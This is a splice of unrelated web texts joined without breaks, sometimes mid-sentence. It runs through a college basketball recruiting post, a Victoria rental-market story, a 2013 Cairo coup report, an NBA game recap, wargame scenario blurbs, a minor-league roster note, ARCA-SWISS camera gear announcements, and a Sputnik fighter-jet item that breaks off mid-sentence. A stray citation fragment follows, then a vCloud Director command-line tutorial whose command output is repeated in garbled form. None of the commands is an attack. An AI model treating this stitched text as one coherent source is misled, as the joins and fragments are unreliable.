Carter took an official visit to the UW the previous weekend and it seemingly didn’t take long for him to make up his mind. The 6’6” SG/SF from Rochester, New York originally committed to Dayton but took a step back from the school after head coach Archie Miller left to become the head coach at Indiana. Carter has previously mentioned that his interest in Hopkins came from when Hop was the primary recruiter for him while at Syracuse. After getting 3 commitments from Seattle area players, this is the first sign that Hopkins will be able to leverage his own East Coast contacts to give UW a shot in overcoming the distance and draw from the Northeast.
There was talk of Carter reclassifying to 2018 if he didn’t like the offers he was getting following the de-commitment but UW had one more spot left for the 2017 class and given the timing, it looks like it will probably be filled by Carter.
This commitment is going to get more national attention than it normally would because Carter is the nephew of Jay-Z. I don’t think we can suddenly expect to see him courtside at every home game or for Beyonce to perform the national anthems but do expect it to come up on the broadcast the first time he checks into a game every single time for the next 4 years.
Carter is viewed as a 3-star recruit by most services but Scout recently bumped him up to 4-stars after his stellar play this spring. They have him as the #29 SG in the 2017 class. Fellow-UW recruit Jaylen Nowell was the 19th ranked SG. Nahz definitely has some hops though. Here’s a clip of Carter posterizing the #1 player in the 2018 class, Marvin Bagley.
Pending a confirmation that Carter will be starting in the fall, this appears to put an end to the 2017 recruiting class. The final tally looks to be SG Jaylen Nowell, PG Nate Pryor, SG/SF Michael Carter III, and SG/SF Nahziah Carter. There is a distinct lack of PF and C in the prefaces to those names. That officially leaves UW with only 3 players taller than 6’7” on the roster for next season. Hopkins has said that he doesn’t want to rely entirely on the zone during his time here but I expect to see large amounts of it next season. The Dawgs will need to rely on length on the perimeter to prevent inside penetration. Some type of 4-guard lineup with Crisp, Nowell, Thybulle, and Johnson around Dickerson will probably be the go-to crunch time look depending on whether any of the other freshmen pop.
Here are some highlights of Nahz from the Nike EYBL session a couple weekends ago.A Victoria cartoonist is trying to use his art to catch the attention of potential landlords in the city's near-impossible rental market.
Gareth Gaudin co-owns the Legends Comics and Books store in Victoria and is well known for his own cartoons featuring his character The Perogy Cat.
The pudgy feline features prominently on a poster Gaudin drew recently. It serves as his own "rental house wanted" ad for his "professional, artistic, book-loving family."
"Everyone is in the same boat. I'm just using my skills that I have as a cartoonist," he said.
"All it takes is one person with the ideal house for us to say,'oh yeah we'll rent to you.'"
Victoria cartoonist Gareth Gaudin's house wanted poster featuring his popular character The Perogy Cat. (Sterling Eyford)
The long-time Victoria resident said he's never seen the rental market under so much pressure. The vacancy rate is close to zero.
"People from out of town are just renting places sight unseen," he said.
To make matters worse, many people who own rental properties are selling to cash out on a hot housing market.
Gaudin's cartoon house wanted ad featuring The Perogy Cat has been shared hundreds of times on Facebook.
He's hopeful it will help his family find a new place to live before they are forced to move out in the next couple of months.
"We are the perfect tenants. We are clean. We stay home and draw."Photo by Justin Wilkes
No one wants a war, they all said. But as soon as the sun set, with high velocity rounds cracking into the crowd around us, it looked very much like Cairo had got one. Demonstrators who had filled Nasr City in support of the embattled Islamist president Mohamed Morsi—now deposed and imprisoned in a plush officer’s club by his own Republican Guard—curled up behind car engine blocks in the dimly lit square, hiding from the snipers firing at us from the grim apartment blocks towering overhead. Only minutes earlier, the leaders of the Muslim Brotherhood had read out the statement from the military council that the whole of Egypt had been waiting for. From their podium, gaily lit with electric bulbs, they read out the stark words the president’s supporters had been dreading: the constitution had been suspended and the country’s year-long flirtation with representative democracy was over.
As soon as the words had been read out, grown men sank to their knees, crying, or waving cudgels in the air vowing revenge. Within minutes the first shots rang out, and the first wounded were dragged bleeding from the square.
A supporter of Morsi kisses a photograph of him at a sit-in outside Cairo University.
The strange thing was how festive the atmosphere had been just before, here in the Brotherhood’s heartland, a sort of male-skewed heavily bearded Islamist Glastonbury, the bizarro world to rebel Tahrir Square just a few miles away. Men—and some women, it must be said—danced and sang their songs beneath blaring loudspeakers in support of the president and Sharia law, and chanted their willingness to die for Islam. Hijabed children wandered around, gawping at the stalls of cheap Chinese toys and the corncob sellers clustered around their braziers. “We’re not terrorists,” one woman said, weeping in frustration as she spoke to us, “they say we are, those rebels, but we are not. Me, I am not Brotherhood; I am just an ordinary person, a Muslim. But we are here to support our democracy, nothing more.”
Morsi supporters wave the Qu'ran as they muster at the scene of deadly clashes.
Behind her, the Brotherhood’s muscle marched and jogged in phalanxes, armed with cudgels, hard hats and a willingness to die, towards the barricades where they stood face to face with the army for the first time in this political crisis. The sand-coloured APCs the army had brought right up to the barriers—the borders of the last outposts of Islamist rule in Cairo—had pulled back an hour or so earlier, when young protesters had climbed on top, waving their flags and pleading with the irritated-looking soldiers manning the machine guns not to crush their protest camp.
When the APCs had trundled back, the crowd erupted in cheers and cries of "Allahu akbar!" but their victory was short-lived. Soldiers, uniformed, some not, had filed onto the rooftops overlooking us, their rifle barrels silhouetted by the setting sun. “We thought the army were with us, maybe, until yesterday (when more than 20 protesters, mostly supporters of the president, were shot dead in clashes with unknown assailants). Even now, maybe‚—we hope – they are here to protect us from the rebels.” But the APCs were all facing one way – towards the government supporters. But at the rebel demonstration a few hundred metres down the road, it was a different picture.
At a protest outside the Republican Guard Club in Nasr City, an opponent of Morsi holds a sign calling for the military to intervene in Egypt's political turmoil.
Photo by Justin Wilkes
In a sea of Egyptian flags and pressed polo shirts, the supporters of the anti-government Tamarod movement marched and drove in laps in front of the officers' club where Morsi was now being held as a prisoner by his ostensible bodyguards. Soldiers in plain clothes cradling Kalashnikovs stood guard over the middle-class crowd. From beneath her designer sunglasses, exquisitely tinted highlights peeking from her pink hijab, a middle-aged woman held a sign up for our camera condemning Obama for "supporting terrorists": “They are not Egyptians, these Muslim Brotherhood. They bring them in here, you know, from Chechnya, Afghanistan.”
Both sides claim to represent the true, eternal Egypt. Behind the Brotherhood lines, everyone claimed they represented the pure piety of the fellahin and the urban poor: “We want democracy only—and Sharia law, of course. But no true Egyptian wants to see people drinking alcohol in the street or making false sex with each other.” On the other side of the barricades, the anti-Morsi movement said much the same about their ur-Egyptianness, only in better clothes and from more expensive cars.
Photo by Justin Wilkes
We left the Brotherhood when the crowd turned on us, accusing us of being “rebel spies” and threatening us with their cudgels. Rifle shots cracked worryingly close overhead as we sprinted to the safety of the main highway. In the apartment blocks overlooking us, whole families waved flags, ululating over the downfall of their elected president and the deaths of fellow Egyptians only metres away, and cheering on the companies of troops in armoured fighting vehicles cordoning off Nasr City from the rest of Cairo behind coils of barbed wire. Old women handed out cloying candies in celebration; fireworks and rifle fire popped all around us.
Photo by Justin Wilkes
As I write now, the center of Cairo is a sea of beeping vehicles and cheering crowds, with attack helicopters making laps of honor above us. An army-appointed judge is now the face of military rule, erasing the one-year blip of democratic government in the last 60 years of Egyptian history. Tomorrow, central Cairo will still be celebrating, while the Brotherhood will be lying low, licking their wounds and plotting a new way forward. Democracy didn’t work for them, or for Egypt: it seems the people didn’t want it. Tomorrow Egypt will wake to the tank-delivered stability it’s craved these past two years.
Click here to keep up with our live stream from Cairo.
Follow Aris (@arisroussinos), Tom (@tom_d_), Mohamed (@3effat)
More on Egypt's turbulent recent history:
WATCH – Egypt's Second Revolution
Hanging Out with the Muslim Brotherhood in Cairo
An Interview with an Egyptian Streetfighter
Hanging Out with an Egyptian Arms DealerThe Good: Not to much as far as the Indiana Pacers are concerned. They started poorly and were outplayed wire to wire by a Toronto Raptors team that, at its best, showed the it is just better than Indiana. The Pacers did only commit 4 turnovers in the game, however, which reversed a trend of ball control looking like a problem again in recent games.
The Bad: 3-point shooting. The Pacers couldn’t make anything from deep (shooting a dreadful 2-for-19) and they couldn’t stop the Raptors from hitting the long ball (12-for-23).
MVP: Kyle Lowry. He was the best player on the court, and his 20/11/10 triple double told the tale.
LVP: C.J. Miles. He shot 1-for-7 from long range and just 4-for-12 overall.
X Factor: Lou Williams. He scored a Rodney Stuckey-like 24 points in 23 minutes off the bench.
Toronto Raptors 117 Final
Recap | Box Score 98 Indiana Pacers David West, PF 30 MIN | 3-8 FG | 1-1 FT | 9 REB | 3 AST | 0 STL | 0 BLK | 0 TO | 7 PTS | -3 +/-
Made up for it some on the glass and was involved well on offense … but need more points.
Solomon Hill, SF 35 MIN | 4-8 FG | 3-4 FT | 4 REB | 4 AST | 2 STL | 1 BLK | 1 TO | 11 PTS | -9 +/-
Ran a nice break, played some good D.
Roy Hibbert, C 29 MIN | 5-13 FG | 7-8 FT | 7 REB | 1 AST | 0 STL | 2 BLK | 0 TO | 17 PTS | -12 +/-
Was awful early on, just flinging the ball at the rim, but got to the line plenty and turned it into an efficient line.
George Hill, PG 34 MIN | 9-15 FG | 4-5 FT | 2 REB | 2 AST | 1 STL | 0 BLK | 1 TO | 23 PTS | -15 +/-
Savvy play.
C.J. Miles, SG 25 MIN | 4-12 FG | 3-4 FT | 2 REB | 1 AST | 2 STL | 1 BLK | 0 TO | 12 PTS | -21 +/-
Nope.
Luis Scola, PF 16 MIN | 1-3 FG | 0-0 FT | 4 REB | 3 AST | 0 STL | 0 BLK | 0 TO | 2 PTS | -14 +/-
Gross.
Ian Mahinmi, C 16 MIN | 0-2 FG | 0-0 FT | 3 REB | 0 AST | 0 STL | 0 BLK | 0 TO | 0 PTS | -2 +/-
Yuck.
Rodney Stuckey, PG 28 MIN | 9-16 FG | 2-2 FT | 1 REB | 4 AST | 1 STL | 0 BLK | 1 TO | 20 PTS | +1 +/-
Godney and Hill kept this one close for a time.
C.J. Watson, PG 19 MIN | 3-8 FG | 0-1 FT | 2 REB | 3 AST | 1 STL | 0 BLK | 1 TO | 6 PTS | -12 +/-
Word.Arrows, Lightnings, Little Green Men and WW3: Twenty new Command scenarios
Miguel Molina has released the updated version of the Command community scenario pack. The new release includes a breathtaking twenty new scenarios:
Northern Fury #13.4 – Hammer (1994): Bart Gauvin’s WW3 epic continues. You are commanding the USAF’s 336th Fighter Squadron – The Rocketeers, and your mission is to sever the only ground link through central Norway – the E6 Highway. Several elements of 25th Air Force will be supporting you, in particular SEAD and OCA support from 81st Tactical Fighter Wing and some of the heavies from Scotland, but this is your time to show what your F-15Es can do.
Northern Fury #12.4 – Sneak & Peek (1994): As the Soviet ground and air campaign moves south, consuming massive amounts of supplies and resources, the Rear Services group for Archangel Corps struggles to keep pace. For much of Norway’s coastline there is a single two-lane road connecting from the Arctic border near Murmansk all the way to Trondheim, over 2000 Km including an 8Km ferry SW of Narvik. In order to speed the delivery of supplies, coastal shipping is in fairly heavy usage. But that is vulnerable – and your job is to prove just how vulnerable that is.
One Ship, One Country (2017): The capabilities of the F-35 and LHA as a light carrier are to be put to the test in this wargame where a single amphibious ship is quickly diverted to attack a fictional nation comprised of highly skilled Aggressors. For many of the newly trained pilots, it will be their first big “battle”. The hypothetical AEW-Osprey joins the Lightning II in the scenario. For the commander, it will also be a big battle-of how to deal with the ‘rationing’ of limited ammunition and many targets.
Confrontation near Tartus (2017): This scenario assumes the attack on Syria by U.S. forces in 2017 was quickly followed by another strike. By this time, however, Russia has a surface action group (SAG) in the area and it is not clear how they will respond.
Baltic Ballet (2019): The “Gotland Independence Front”, a group suspiciously similar to Ukraine’s “Little Green Men”, has occupied the island of Gotland and its rich natural resources. How will the Swedish government respond?
Deter, Detect, Defend – CF-105 variant (1962): Chris Comars’ already-classic nuclear air defence scenario gets spiced up with the addition of Canada’s interceptor that never was, the mighty CF-105 Arrow. (And you thought TSR.2 buffs were bad)
Desperate Measures (2016): Bolivia and Chile are at war, and the Bolivian Air Force plots a desperation mission with its remaining strength.
String of Pearls – Lance the Boil (2020): Following months of negotiations, the Chinese military base in Sri Lanka is to be eliminated before it can be further developed. The USN Combined Task Force 151 (CTF-151) is ordered to destroy the facilities located at Port Hambantota on the southern coast. The attack must be a lean quick strike to send a firm message that any moves toward the Diego Garcia US base will not be tolerated.
Yankee Team (1966): Operation Rolling Thunder continues apace for the US Navy. For the next 24 hours, you will be overseeing air operations for Task Force 77, on station at Yankee Point and conducting strikes on North Vietnam. The targets for today, located in the USN’s area of air operations at Route Packages 2, 3, 4 and 6B, have just been assigned with direct oversight from the White House. It is sure to be a long day.
Korean Crisis (1994): The Korean crisis of 1994 is a seldom studied incident the in timeline of US efforts to halt North Korea’s nuclear and ballistic missile programs. Realistically, the ’94 crisis was the starting point. In June of that year the United States found itself dangerously close to war with North Korea. It was becoming evident that North Korea was committed to developing nuclear weapons. The primary concern in Washington at the time was that any action the US might take could result in war on the Korean peninsula. The North Korean government had made it clear that even an act such as the implementation of sanctions would be regarded as an act of war. Tensions were rising and the possibility of war was quite real.
Duke of York Never Gives Up (1950): During the early days of the Korean crisis, the United Kingdom decided to send two large warships into the Sea of Okhtosk as an intelligence-gathering and show-of-force mission. They did not expect the Soviet Union to respond with open hostilities.
Khasab Helicopter Strike (2017): The turmoil of Middle Eastern politics has turned to Oman, and the UAE attempts a daring helicopter hop across the mountains to seize Khasab.
Cocos Islands (1978): The Cocos (Keeling) Islands in the Indian ocean occupy an important strategic location, allowing extension of regional force projection, surveillance and secure lines of communication. They are also located close to IO and South China Sea shipping lanes. This strategic importance is further boosted by the airfield that was constructed there in WWII.
In 1978, due to the very poor treatment of the islanders and the feudal system of governance by the then owners, the Clunies-Ross family, the Australian government forced the islands owners to sell the island to them using the threat of compulsory acquisition. This scenario explores what may have happened if the disgruntled Clunies-Ross family instead sold the island to India.
Northern Fury #13.5 – Anvil (1994): Strike Fleet Atlantic (STRIKFLTLANT) is now in the second phase of its counter attack in the Atlantic. Fighting on Iceland continues but 2 MEF believes that they will have the island clear within the week. A massive NATO attack three days ago halted Soviet plans to seize Oslo but with Berlin and Copenhagen in Russian hands, the situation is not yet assured. Commander STRIKFLTLANT has set in motion a series of attacks designed set up the conditions for upcoming amphibious operations in central Norway – Operation Thor’s Lightning. This is one of those actions.
Arctic Tsunami (2019): Following a massive cyber attack, “Little Green Men” units feature prominently in erupting riots accross all three Baltic states. At the same time the Russian Northern fleet is performing a major sortie centered around its strategic missile submarines and the upgraded flagship Admiral Nakhimov. To counter this, the RN carrier Queen Elizabeth embarks with a squadron of F-35Bs and the shut-down airbase at Keflavik in Iceland is hastily reactivated.
Indian Fury #2 – Mozambique Madness (1994): The chaos of WW3 fought in Europe (as chronicled in the “Northern Fury” series) now spills over into the Indian Ocean. A depleted battle group steaming into the IO after a visit to Cape Town is caught in the emerging maelstrom.
Indian Fury #3 – Socotra Scramble (1994): Commanding the USS Nimitz CVBG, you have been tasked to steam at maximum possible speed north to join the 6th Fleet in the Mediterranean. Things are “interesting” in the Indian Ocean but positively frantic in the Med. You will need to assemble your Battle Group, neutralize several layers of enemy defences, and proceed through restricted, hazard-laden waters to enter the Red Sea on your journey to the main theater of operations.
Blood Diamonds (2018): On August 2018 an alleged coup d’état was attempted in Angola against state institutions, including (but not limited to) the government and President Jose Eduardo dos Santos. The attempt was carried out by a faction within the Angolan Armed Forces that organized themselves as the FNLA (Frente Nacional de Libertação de Angola). On August 5th, the ruling MPLA party, considering its strong economic relations with China (Angola is China’s second biggest trading partner in Africa), appealed to the Chinese government with the request to help stabilize the situation in country.
Between Ascension and San Carlos (1982): Argentina’s navy was quite powerful by South America standards, but never tried to attack the British lines of communication in the Atlantic between Ascension Islands and the Falklands. This hypothetical scenario depicts an aggressive Argentine blue water navy formation trying to attack escorted Royal Navy replenishment ships, carrying much needed fuel and spares to the British task force to the South.
Between Ascension and San Carlos – The carrier duel (1982): This hypothetical scenario depicts aggressive moves by Argentinian task forces, including the Venticinco de Mayo carrier, trying to attack escorted Royal Navy replenishment ships, carrying much needed fuel and spares to the British task force to the South. The Royal Navy, discovering the plan, calls the Invincible carrier with escorts and a SSN for help from the south, trying to stop the Argentine formation and save the replenishment ships.
As always, the community scenario pack is available for download from the Command downloads page: http://www.warfaresims.com/?page_id=1876. Most of the scenarios are also available for individual download on the Command workshop on Steam.
Comments(Tyler Marcotte)
By Jesse Goldberg-Strassler / Lansing Lugnuts | May 31, 2017 11:19 AM
LANSING, Mich. - In conjunction with the Toronto Blue Jays, the Lansing Lugnuts announced Wednesday that catcher Ryan Hissey has been promoted to A-Advanced Dunedin, with catcher Ridge Smith received to Extended Spring Training in a corresponding move.
In his second season with the Lugnuts, the 23-year-old Hissey was batting.255 with two homers, including a grand slam, and 22 RBIs. This is his first trip to the Florida State League.
Lansing plays a 12:00 noon game today at Lake County, the second game of a three-game series. The Lugnuts return home for a three-game series against the Dayton Dragons from June 6-8.
View the official roster, consisting of 25 active players with five players on the Disabled List.
This story was not subject to the approval of the National Association of Professional Baseball Leagues or its clubs.
View LessARCA-SWISS is exhibiting at Photokina 2016 in Cologne, Germany in Hall 2.1, Stand B028.
ARCA-SWISS Canon Aperture Control Lens Board
Our new Canon bayonet lens board will mount Canon lenses onto our entire range of 6X9 cameras and have full electronic adjustment of aperture settings. The focal length and aperture setting of the lens is displayed on a bright OLED display built into the lens board.
Two buttons on the lens board allow a change of aperture up or down in 1/3 steps. Pressing both buttons simultaneously will fully open or close the lens to the selected aperture.
Using mirrorless full frame cameras like the Sony A7/A7RII mounted on the rear standard of the view camera, lateral and vertical movements can be adjusted on the rear standard of the camera within the image circle of the Canon lens. It is recommended to use Canon T/S lenses as those lenses will allow larger movements of up to 12mm in each direction without moving the lens.
Tilt and swing can be adjusted on the front standard using the exclusive symmetrical designed tilt and swing movements available on all ARCA-SWISS cameras.
The lens board is equipped with a mini USB port, compatible with any battery power pack that can connect and deliver a 5 volt current through a USB cable.
The ARCA-SWISS Canon lens board (110x110mm) is compatible with the following medium format (6x9cm) View Cameras: F-classic, F-metric, M-monolith, M-two and the latest the ARCA-SWISS Universalis pictured above.
ARCA-SWISS C1 Cube gp and D4 gp
For ultimate Control – Geared Pan
The patented ARCA-SWISS C1 Cube and ARCA-SWISS D4 with their unique design and innovative construction have been further developed and are now available with a gear driven self-locking pan device situated underneath the camera quick release for secure and precise positioning. These new versions of our heads will be designated “gp” for geared panning control.
The photographer now has a choice when using pan for an image — gear driven or free movements. When the gp knob is pulled out, the pan movement is free for coarse and quick panning adjustments. When the gp knob is pushed in, the gears inside the panning device are re-engaged and will offer precision geared rotation of the camera.
Using the new geared panning device, cameras and lenses can be moved micro-metrically in three axes. Due to its location at the top of the head, once leveled, the panoramic movements will allow perfect horizontal panning.
Additionally, ARCA-SWISS C1 Cube gp and ARCA-SWISS D4 gp are equipped with a second manual panning control at the base of the head for positioning the head on the tripod.
The new C1 Cube gp and D4 gp will be offered separately and are not replacing the current versions of C1 Cube and D4 heads.
ARCA-SWISS p0 Hybrid
Introducing ARCA-SWISS p0 Hybrid
ARCA-SWISS is offering a new version of the compact and lightweight p0 tripod head in a hybrid design with the simplicity of the original p0 monoball and the geared precision of the C1 Cube.
ARCA-SWISS p0 tripod heads are fitted with an aspherical ball and a patented locking mechanism based on three planetary locking elements. These locking elements apply uniform force around the ball ensuring smooth movements of the camera in any axis.
Above the head’s locking mechanism, ARCA-SWISS has now integrated two self-locking, geared segments, each of which can precisely adjust up to a range of plus or minus 10° in the X or Y axes. This allows the photographer to adjust or level the camera coarsely with the ball-head using the p0 locking ring, and then fine tune their camera position precisely in both axes using the MicroMetric gear driven knobs. These mechanisms have been designed so the camera moves within a circular arc over the center. Additionally, if the nodal point is adjusted for, there will be virtually no change in the distance to the subject that can be seen in the viewfinder or display.
After the alignment and leveling of the camera, a panoramic swivel device placed above the two axes, allows for a completely level rotation of 360°, with no further adjustment of the camera required. It’s the perfect solution in applications requiring fast but precise adjustments — for architectural, table top, macro and panoramic photography.
Despite its new hybrid design, the ARCA-SWISS p0 hybrid tripod head will weigh only 500 gm/1.1 lbs, and is perfect for traveling light.
ARCA-SWISS Quiklink tripod head mount
To solve an issue that has been an irritation to many photographers over the years, ARCA-SWISS announces the new ARCA-SWISS Quiklink tripod head mount system.
Combining a breach mount receiver for the tripod along with a tripod head base plate, the ARCA-SWISS Quiklink makes attaching and removing your tripod head from your tripod a fast and easy operation. Installation is simple and once installed, ARCA-SWISS QuickLinkcomponents can remain in place.
Thread the Quicklink mount receiver to the top of your tripod. Next, attach the Quicklink head connecting plate to the base of your tripod head using the supplied allen wrench. Once both components are mounted, drop the tripod head into the tripod receiver mount and rotate the knurled locking ring clockwise until snug. To unlink, turn the knurled ring counter clockwise and lift the head to remove.
Additional Quiklink tripod head plates may be purchased separately.
ARCA-SWISS Monoball Z1+
Improved ARCA-SWISS Monoball Z1+
The ARCA-SWISS Monoball Z1+ is the latest tripod head in the Monoball Z family. Following the introduction of the Z2+ and Z1g+, the new Z1+ will benefit equally from the further refined “Motion Related Gravity Control” system (MRGC).
MRGC is a variable bi-directional drag system which operates independently on both axes but is stabilized in all directions.
With horizontal movements, the friction setting of the ball head remains the same, whereas vertical movements take advantage of the aspherical ball which leads to a progressive increase of the friction as the camera & lens is tipped forward or back. This increase makes our ball head the safest available — no flopping around!
Intelligent engineering and precise manufacturing guarantee a well distributed radial grip force to provide a strong hold, while simultaneously allowing smooth and accurate positioning of the camera.
The new Monoball Z1+ is available in single pan (sp) or double pan (dp) models. Using the dp top pan, level the spirit level on the quick release, and Z1+ dp will allow perfect horizontal panning irrespective of the tripod placement.
Photokina 2016
Visit us at Hall 2.1, Stand B028 Cologne, Germany.
Daily from 10:00 a.m. to 06:00 p.m. September 20th – September 25th, 2016
For more information, contact rod.klukas(at)arca-swiss.com
Follow us on our new Instagram @arcaswissusaThe regional director of international cooperation at the united Russian-Indian aircraft manufacturing company reported Saturday that Russia and India have completed the creation of the export version of the Sukhoi/HAL Fifth Generation Fighter Aircraft.
© REUTERS / Shailesh Andrade Russian-Indian Joint Military Projects to Boost Delhi's Defense Industry
MOSCOW, January 10 (Sputnik) — Russia and India have completed the preliminary design for the Sukhoi/HAL Fifth Generation Fighter Aircraft (FGFA), the regional director of international cooperation at the united Russian-Indian aircraft manufacturing company said Saturday.
“As of now, we and our Indian colleagues have completed the creation of the export version of the [Sukhoi] PAK FA, known in India as FGFA. We already have documents and understanding of the scope of the next phase of design, the scale of future production,” Andrey Marshankin said in an interview with the Russian News Service radio.
Marshankin noted that while the Russian version of the fifth generation fighter jet is operated by a single pilot, the Indian Air Force prefers aircraft that are operated by two pilots.
© Sputnik / Evgeny Pakhomov Major Defense Deals to Be Signed During Putin's Visit to India: Ambassador
“In difficult conditions of modern warfare it is extremely difficult to simultaneously maneuver [the aircraft] and attack the enemy. Currently, the Indian side suggests that the Indian version of the fifth generation fighter will be made for two pilots,” he said.
The Sukhoi PAK FA (T-50) is the Russian Air Force’s first stealth fighter, intended to succeed the Sukhoi Su-27, as well as the Mikoyan MiG |
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Hopfield, J. J. (1982). NThere is a lot of talk going around how IT Pros can more efficiently operate and consume Cloud Based Services…AWS has lead the way in offering a rich set of APIs for it’s clients to use to help build out cloud applications and infrastructure and there are a ton of programming libraries and platforms that have seen the rise of the DevOps movement…And while AWS has lead the way, other Public Clouds such as Azure (with PowerShell Packs) and Google have also built self service capability through APIs.
vCloud Director has always had a rich set of APIs (API Online Doco Here) and as I blogged about last year Paco Gomez has been developing a tool called VCA-CLI which is based on pyvcloud which is a Python SDK for vCloud Director and vCloud Air. This is an alternative to Web Based creation and management of vCloud Director vDCs and vApps. Being Python based you have the option of running it pretty much on any OS you like…the posts below show you how to install and configure VCA on a Mac OS X OS and Windows and how to connect up to a vCloud Director based Cloud Org.
Initial releases of VCA-CLI didn’t have the capability to configure the Firewall settings of a vDC Edge Gateway, but since the release of version 16, Firewall rule management has been added. In the below example, I connect up to my vCD Org in Zettagrid, gather some information about my vDC, deploy a SexiLog VM template, set the Syslog setting on the Gateway and then configure a new NAT and Firewall rules to open up port 8080 to the SexiLog Web interface.
$ vca login cloud2893 --password ******* --host mycloud.mel.zettagrid.com --org org_cloud2893 --type vcd --version 5.5 Login successful for profile 'default' $ vca vdc info Details of Virtual Data Center 'DC_11964', profile 'default': | Type | Name | |-------------------+----------------------| | gateway | Net_External_11965 | | network | Net_External_ANTBLOG | | network | DC_1120761-NIC1 | | network | DC_1120761-NIC9 | | network | DC_1120761-NIC2 | | vApp | ANT-BLOG | | vdcStorageProfile | MyCloud Premium | | vdcStorageProfile | ioSTOR-250 | Compute capacity: | Resource | Allocated | Limit | Reserved | Used | Overhead | |-------------+-------------+---------+------------+--------+------------| | CPU (MHz) | 8000 | 8000 | 0 | 0 | 0 | | Memory (MB) | 15360 | 15360 | 5836 | 8192 | 349 | Gateways: | Name | External IPs | DHCP | Firewall | NAT | VPN | Networks | Syslog | Uplinks | Selected | |--------------------+------------------------------------+--------+------------+-------+-------+----------------------+----------+------------------------+------------| | Net_External_11965 | vca gateway info - to list IPs (4) | On | On | On | Off | Net_External_ANTBLOG | | mycloud.mel_ExtNet_001 | * | | $ vca catalog | grep SexiLog | ZG_Public_Catalog | SexiLog | $ vca vapp create --vapp SexiLog --vm SexiLog --catalog 'ZG_Public_Catalog' --template 'SexiLog' -n Net_External_ANTBLOG -m pool creating vApp 'SexiLog' in VDC 'DC_11964' from template 'SexiLog' in catalog 'ZG_Public_Catalog' | Start Time | Duration | Status | |---------------------+----------------+----------| | 2016-09-28 04:00:41 | 1 mins 29 secs | success | setting computer name for VM 'SexiLog' | Start Time | Duration | Status | |---------------------+---------------+----------| | 2016-09-28 04:02:13 | 0 mins 1 secs | success | disconnecting VM from networks pre-defined in the template | Start Time | Duration | Status | |---------------------+---------------+----------| | 2016-09-28 04:02:16 | 0 mins 6 secs | success | disconnecting vApp from networks pre-defined in the template | Start Time | Duration | Status | |---------------------+---------------+----------| | 2016-09-28 04:02:24 | 0 mins 0 secs | success | connecting vApp to network 'Net_External_ANTBLOG' with mode 'pool' | Start Time | Duration | Status | |---------------------+---------------+----------| | 2016-09-28 04:02:26 | 0 mins 1 secs | success | connecting VM to network 'Net_External_ANTBLOG' with mode 'pool' | Start Time | Duration | Status | |---------------------+---------------+----------| | 2016-09-28 04:02:28 | 0 mins 6 secs | success | $ vca vapp power-on --vapp SexiLog | Start Time | Duration | Status | |---------------------+----------------+----------| | 2016-09-28 04:09:20 | 0 mins 33 secs | success | $ vca vm list | grep SexiLog | SexiLog | SexiLog | Powered on | 192.168.80.100 | Net_External_ANTBLOG | 1 | 4 | | Other Linux (64-bit) | anthony | $ vca gateway set-syslog --gateway gateway --ip 192.168.80.100 | Start Time | Duration | Status | |---------------------+---------------+----------| | 2016-09-28 04:10:20 | 0 mins 8 secs | success | $ vca gateway | Name | External IPs | DHCP | Firewall | NAT | VPN | Routed Networks | Syslog | Uplinks | Selected | |--------------------+------------------------------------+--------+------------+-------+-------+----------------------+----------------+------------------------+------------| | Net_External_11965 | vca gateway info - to list IPs (4) | On | On | On | Off | Net_External_ANTBLOG | 192.168.80.100 | mycloud.mel_ExtNet_001 | * | $ vca nat add --type DNAT --original-ip 119.252.73.173 --original-port 8080 --translated-ip 192.168.80.100 --translated-port 80 --protocol tcp add NAT rule | Start Time | Duration | Status | |---------------------+----------------+----------| | 2016-09-28 06:20:39 | 0 mins 24 secs | success | $ vca firewall add --protocol tcp --dest-port 8080 --dest-ip 119.252.73.173 --source-port Any --source-ip any add firewall rule | Start Time | Duration | Status | |---------------------+----------------+----------| | 2016-09-28 06:24:10 | 0 mins 26 secs | success | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 $ vca login cloud2893 -- password * * * * * * * -- host mycloud.mel.zettagrid.com -- org org_cloud2893 -- type vcd -- version 5.5 Login successful for profile 'default' $ vca vdc info Details of Virtual Data Center 'DC_11964', profile 'default' : | Type | Name | | -- -- -- -- -- -- -- -- -- - + -- -- -- -- -- -- -- -- -- -- -- | | gateway | Net_External_11965 | | network | Net_External_ANTBLOG | | network | DC_1120761 - NIC1 | | network | DC_1120761 - NIC9 | | network | DC_1120761 - NIC2 | | vApp | ANT - BLOG | | vdcStorageProfile | MyCloud Premium | | vdcStorageProfile | ioSTOR - 250 | Compute capacity : | Resource | Allocated | Limit | Reserved | Used | Overhead | | -- -- -- -- -- -- - + -- -- -- -- -- -- - + -- -- -- -- - + -- -- -- -- -- -- + -- -- -- -- + -- -- -- -- -- -- | | CPU ( MHz ) | 8000 | 8000 | 0 | 0 | 0 | | Memory ( MB ) | 15360 | 15360 | 5836 | 8192 | 349 | Gateways : | Name | External IPs | DHCP | Firewall | NAT | VPN | Networks | Syslog | Uplinks | Selected | | -- -- -- -- -- -- -- -- -- -- + -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- + -- -- -- -- + -- -- -- -- -- -- + -- -- -- - + -- -- -- - + -- -- -- -- -- -- -- -- -- -- -- + -- -- -- -- -- + -- -- -- -- -- -- -- -- -- -- -- -- + -- -- -- -- -- -- | | Net_External_11965 | vca gateway info - to list IPs ( 4 ) | On | On | On | Off | Net_External_ANTBLOG | | mycloud.mel_ExtNet_001 | * | | $ vca catalog | grep SexiLog | ZG_Public_Catalog | SexiLog | $ vca vapp create -- vapp SexiLog -- vm SexiLog -- catalog 'ZG_Public_Catalog' -- template 'SexiLog' - n Net_External_ANTBLOG - m pool creating vApp 'SexiLog' in VDC 'DC_11964' from template 'SexiLog' in catalog 'ZG_Public_Catalog' | Start Time | Duration | Status | | -- -- -- -- -- -- -- -- -- -- - + -- -- -- -- -- -- -- -- + -- -- -- -- -- | | 2016 - 09 - 28 04 : 00 : 41 | 1 mins 29 secs | success | setting computer name for VM 'SexiLog' | Start Time | Duration | Status | | -- -- -- -- -- -- -- -- -- -- - + -- -- -- -- -- -- -- - + -- -- -- -- -- | | 2016 - 09 - 28 04 : 02 : 13 | 0 mins 1 secs | success | disconnecting VM from networks pre - defined in the template | Start Time | Duration | Status | | -- -- -- -- -- -- -- -- -- -- - + -- -- -- -- -- -- -- - + -- -- -- -- -- | | 2016 - 09 - 28 04 : 02 : 16 